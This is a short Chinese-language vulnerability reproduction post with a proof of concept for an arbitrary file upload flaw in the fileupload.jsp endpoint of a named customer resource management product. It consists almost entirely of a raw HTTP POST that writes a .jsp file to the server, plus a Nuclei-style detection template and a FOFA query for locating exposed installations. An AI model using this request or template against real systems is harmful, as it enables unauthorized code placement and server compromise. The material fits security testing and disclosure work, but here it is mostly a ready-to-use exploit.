【漏洞复现】某客户资源管理系统fileupload.jsp接口任意文件上传漏洞 附POC

POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=night.jsp HTTP/1.1Host: xxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflate, brConnection: closeCookie: JSESSIONID=0BC58BC4E1E6154CCF9609839563CA2A; lang=zh-cnUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 25night

id: enter-fileupload-api-fileuploadinfo:  name: 浙大恩特客户资源管理系统fileupload.jsp接口任意文件上传  author: YGnight  severity: high  description: description  reference:    - https://  metadata:    verified: true    max-request: 1    fofa-query: app="浙大恩特客户资源管理系统"requests:  - raw:      - |-        POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=night.jsp HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2        Accept-Encoding: gzip, deflate, br        Connection: close        Cookie: JSESSIONID=0BC58BC4E1E6154CCF9609839563CA2A; lang=zh-cn        Upgrade-Insecure-Requests: 1        Content-Type: application/x-www-form-urlencoded        Content-Length: 25        night    matchers-condition: and    matchers:      - type: status        status:          - 200      - type: word        words:          - 'night.jsp'